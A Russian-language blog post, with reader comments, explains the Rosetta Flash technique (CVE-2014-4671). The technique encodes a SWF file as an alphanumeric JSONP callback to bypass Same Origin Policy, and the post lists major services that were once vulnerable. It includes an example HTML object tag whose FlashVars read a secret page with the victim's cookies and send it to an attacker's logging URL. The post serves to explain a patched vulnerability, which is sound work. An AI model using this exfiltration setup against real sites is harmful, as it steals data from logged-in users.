Rosetta Flash — кодирование SWF для вызова из JSONP

    Michele Spagnuolo, специалист по безопасности Google, написал утилиту, которая может закодировать любой SWF-файл любым словарем.
    Зачем это нужно? Все очень просто — такой файл можно передать в качестве параметра callback в JSONP на сайте, с которого вам нужно получить информацию, таким образом, вы сможете обойти Same Origin Policy.
    Эта проблема была достаточно давно известна, однако, ей не уделяли особого внимания именно из-за того, что получить SWF-файл, состоящий только из символов, которые можно задать как параметр callback, было крайне сложно, однако, сейчас такой инструмент появился.
    Утилита использует zlib, алгоритм Хаффмана и брутфорс контрольной суммы ADLER32.

    Из крупных сервисов, были уязвимы:
    • Сервисы Google (accounts.google.com, books.google.com, maps.google.com)
    • Youtube
    • Ebay
    • Instagram
    • Twitter
    • Tumblr
    • Olark

    Как же уязвимость использовалась?


    Предположим, есть два домена: подконтрольный нам miki.net и тот, который нужно атаковать trovatel.net

    На trovatel.net есть JSONP-скрипт, который принимает параметр из печатаемых символов:
    http://trovatel.net/vulnerable_jsonp.php?callback=


    Имеется секретная страница, которая выдает секрет, если на нее зайти с установленной cookie
    http://trovatel.net/secret/secret.php


    При заходе на страницу miki.it/RosettaFlash, пользователя ждет такой код:
    <object type="application/x-shockwave-flash" data="http://trovatel.net/vulnerable_jsonp.php?callback=CWSMI…" width="1" height="1">
    <param name="FlashVars" value="url=http://trovatel.net/secret/secret.php&exfiltrate=http://miki.it/RosettaFlash/log.php">
    </object>

    Где miki.it/RosettaFlash/log.php — скрипт-логгер.

    Браузер пользователя загрузит SWF-файл как бы от сайта trovatel.net, откроет страницу с секретом (и с правильными cookie, конечно же) и отправит ее содержимое на удаленный сервер злоумышленника. Все довольно просто и типично.

    На данный момент, Adobe выпустила обновление Flash Player, в котором эксплуатация данной уязвимости невозможна.

    Ссылки


    Информация в блоге автора
    Более подробная информация в PDF
    Утилита на Github
    CVE-2014-4671
    Метки:
    • +27
    • 5,1k
    • 7
    Поделиться публикацией
    Комментарии 7
    • +7
      Говоря коротко и упрощённо: уязвимость позволяет «загрузить» на сайт, использующий JSONP, произвольный ABC, который, будучи неотфильтрованным в недрах вызова JSONP, адекватно интерпретируется необновленным FlashPlayer.

      Я всё верно понял?
    • +2
      А как пропатчились сервисы-то?
      • +4
        Точно не знаю, наверное, ввели ограничение на длину параметра.
        • +1
          Я бы проверял, какой mime-type запрашивает браузер, и отдавал ответ, только если он ожидает получить application/javascript
        • 0
          Вроде смысл понятен, но профит — не очень. Точнее сама постановка странная — секрет который можно получить по куке. Что это за секрет? Где такая архитектура используется? Для чего этот секрет используется дальше? Как-то все слишком сложно, зачем этот секрет нужен, если уже есть кука?
          • +4
            Секрет здесь просто для примера. Иногда вы не можете украсть куки, т.к. у них стоит httpOnly, однако, вы можете из этого флеш-сценария выполнить какие-то запросы, которые будут отправлены с куками.

          Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.